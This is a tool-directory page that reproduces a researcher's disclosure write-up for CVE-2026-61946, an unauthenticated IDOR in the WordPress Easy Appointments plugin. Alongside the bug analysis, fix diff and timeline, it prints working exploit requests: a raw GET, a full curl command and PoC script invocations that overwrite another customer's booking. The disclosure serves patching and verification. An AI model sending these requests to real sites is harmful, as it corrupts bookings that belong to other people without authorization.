Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-61946-Easy-Appointments-IDOR — CVE-2026-61946: Unauthenticated IDOR in Easy Appointments <= 3.12.27 | Kitploit
Tools/GitHubGitHub/rat5ak/cve-2026-61946-easy-appointments-idor
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubrat5ak/cve-2026-61946-easy-appointments-idor

CVE-2026-61946-Easy-Appointments-IDOR

CVE-2026-61946: Unauthenticated IDOR in Easy Appointments <= 3.12.27

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
27 days agoNot yet reviewed

CVE-2026-61946: One Appointment ID to Somebody Else's Booking

I found an unauthenticated insecure direct object reference in the WordPress Easy Appointments plugin. The public reservation endpoint accepted an id from the query string and passed the resulting data into the plugin's database replace() path.

That meant a new public reservation request could be turned into an update of an existing appointment row. No login, cookies, or WordPress account were required. Give it another appointment's primary key, choose a real open slot, and the plugin overwrote that booking with attacker-controlled customer and appointment data.

CVECVE-2026-61946
PluginEasy Appointments
Slugeasy-appointments
Affected<= 3.12.27
Fixed3.12.28
Bug classUnauthenticated IDOR / user-controlled primary key (CWE-639)
ImpactArbitrary existing appointment overwrite
CVSS6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L)
CreditDaniel Wade
Patchstack PSID4f9c506f9f90

TL;DR

The public endpoint accepted a request shaped like this:

root@kitploit:~
GET /wp-admin/admin-ajax.php?action=ea_res_appointment&id=2&location=1&service=1&worker=1&date=2026-04-09&start=15:00&name=ATTACKER&email=evil%40hack.com&phone=666&description=PWNED HTTP/1.1
Host: target.example

The id=2 was not treated as untrusted object identity. In affected versions, it survived input filtering and reached the database replacement path. If row 2 already belonged to another customer, the public request updated that row instead of creating a new one.

root@kitploit:~
Before: id=2 | Jane Victim | [email protected] | confirmed   | $50.00
After:  id=2 | ATTACKER    | [email protected]   | reservation | $50.00

The Bug

Easy Appointments exposes the reservation handler to unauthenticated visitors:

root@kitploit:~
add_action('wp_ajax_ea_res_appointment', array($this, 'ajax_res_appointment'));
add_action('wp_ajax_nopriv_ea_res_appointment', array($this, 'ajax_res_appointment'));

That is expected for a public booking form. The authorization bug was trusting the caller's object key inside that public handler.

The vulnerable flow was:

root@kitploit:~
unauthenticated GET
    -> action=ea_res_appointment
    -> $_GET['id']
    -> allowed through the reservation field list
    -> models->replace('ea_appointments', $data, true)
    -> existing appointment row selected by primary key
    -> victim booking overwritten

Nonce and CAPTCHA checks did not establish ownership of the supplied appointment ID. They were also disabled by default in the configuration I tested, so the request needed no session state at all.

The endpoint did perform an availability check. That did not fix the object authorization problem; it only meant the attacker had to choose a valid public location, service, worker, date, and currently open time slot.

Triggering It

You need:

root@kitploit:~
1. A disposable WordPress lab running Easy Appointments <= 3.12.27
2. The ID of a lab appointment you created for testing
3. Valid location, service, and worker IDs from the public form
4. A time slot that is currently open

Then run either PoC with both safety switches. Without --execute / -Execute, the scripts only print the request they would send.

PowerShell:

root@kitploit:~
.\poc\reproduce.ps1 `
  -Target "http://127.0.0.1" `
  -AppointmentId 2 `
  -Location 1 `
  -Service 1 `
  -Worker 1 `
  -Date "2026-04-09" `
  -Start "15:00" `
  -AuthorizedLab `
  -Execute

Bash:

root@kitploit:~
./poc/reproduce.sh \
  --target "http://127.0.0.1" \
  --id 2 \
  --location 1 \
  --service 1 \
  --worker 1 \
  --date "2026-04-09" \
  --start "15:00" \
  --authorized-lab \
  --execute

Manual curl:

root@kitploit:~
curl -i -sS -G "http://127.0.0.1/wp-admin/admin-ajax.php" \
  --data-urlencode "action=ea_res_appointment" \
  --data-urlencode "id=2" \
  --data-urlencode "location=1" \
  --data-urlencode "service=1" \
  --data-urlencode "worker=1" \
  --data-urlencode "date=2026-04-09" \
  --data-urlencode "start=15:00" \
  --data-urlencode "name=ATTACKER" \
  --data-urlencode "[email protected]" \
  --data-urlencode "phone=666" \
  --data-urlencode "description=PWNED"

No authentication headers or cookies are involved.

Evidence

I reproduced the issue on:

root@kitploit:~
WordPress 6.9.4
Easy Appointments 3.12.23.1
Unauthenticated request
No cookies
Nonce disabled
CAPTCHA disabled

The test used an existing appointment row owned by a lab victim account:

root@kitploit:~
id=2
name=Jane Victim
[email protected]
status=confirmed
price=$50.00

After the public reservation request, the same primary key contained:

root@kitploit:~
id=2
name=ATTACKER
[email protected]
status=reservation
price=$50.00

The primary key and price remaining unchanged made the update behaviour clear: this was not a second booking that happened to resemble the first one. It was the existing row being replaced.

A copy of the before/after proof is in evidence/sample-before-after.txt.

Impact

An unauthenticated attacker who knows or guesses an appointment ID can corrupt that booking's customer and scheduling data. Depending on the site's workflow, that can include changing:

root@kitploit:~
customer name and email
phone number
appointment description
location, service, and assigned worker
date and start time
reservation status generated by the public flow

The practical result is silent booking tampering: legitimate appointments can be redirected, displaced, vandalised, or made operationally useless. The public form exposes the valid scheduling values required to construct the request.

The official score is 6.5 Medium:

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

The Fix

The security-relevant change in version 3.12.28 is beautifully blunt:

root@kitploit:~
 foreach ($data as $key => $rem) {
     if (!in_array($key, $dont_remove)) unset($data[$key]);
 }
+
+unset($data['id']);
+$data['id'] = null;
 unset($data['action']);

The public booking flow no longer gets to choose the database object's primary key. The request is forced down the new-record path instead of being allowed to replace an arbitrary existing appointment.

The same security commit also corrected the nonce option logic. That is useful defence in depth, but nonce validation alone would not be an ownership check for an attacker-supplied appointment ID. Removing the client-controlled key is the direct IDOR fix.

The extracted patch is in patch/fix.diff.

Repository Structure

root@kitploit:~
poc/
    reproduce.ps1             # PowerShell lab reproducer
    reproduce.sh              # Bash/curl lab reproducer
evidence/
    sample-before-after.txt    # Sanitised proof of row replacement
patch/
    fix.diff                   # Security-relevant upstream diff
README.md

Timeline

DateEvent
2026-04-03Reported to Patchstack
2026-07-07Patch validated
2026-07-16Patchstack published the vulnerability entry
2026-07-23CVE-2026-61946 published

Resources

  • Patchstack advisory: https://patchstack.com/database/wordpress/plugin/easy-appointments/vulnerability/wordpress-easy-appointments-plugin-3-12-27-insecure-direct-object-references-idor-vulnerability
  • CVE record: https://www.cve.org/CVERecord?id=CVE-2026-61946
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-61946
  • WordPress plugin: https://wordpress.org/plugins/easy-appointments/
  • Upstream source: https://github.com/ahmedkaludi/easy-appointments
  • Security fix commit: https://github.com/ahmedkaludi/easy-appointments/commit/f3464999ba3723046bd6e13d032122c196dd9768
  • Vulnerable tag: https://plugins.svn.wordpress.org/easy-appointments/tags/3.12.27/
  • Fixed tag: https://plugins.svn.wordpress.org/easy-appointments/tags/3.12.28/

Disclaimer: This PoC is published for defensive research and verification after patch availability. Do not use it against systems you do not own or have explicit authorization to test.

CVE-2026-61946 - Fixed in Easy Appointments 3.12.28. Affected: 3.12.27 and earlier.

Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online

Download Tool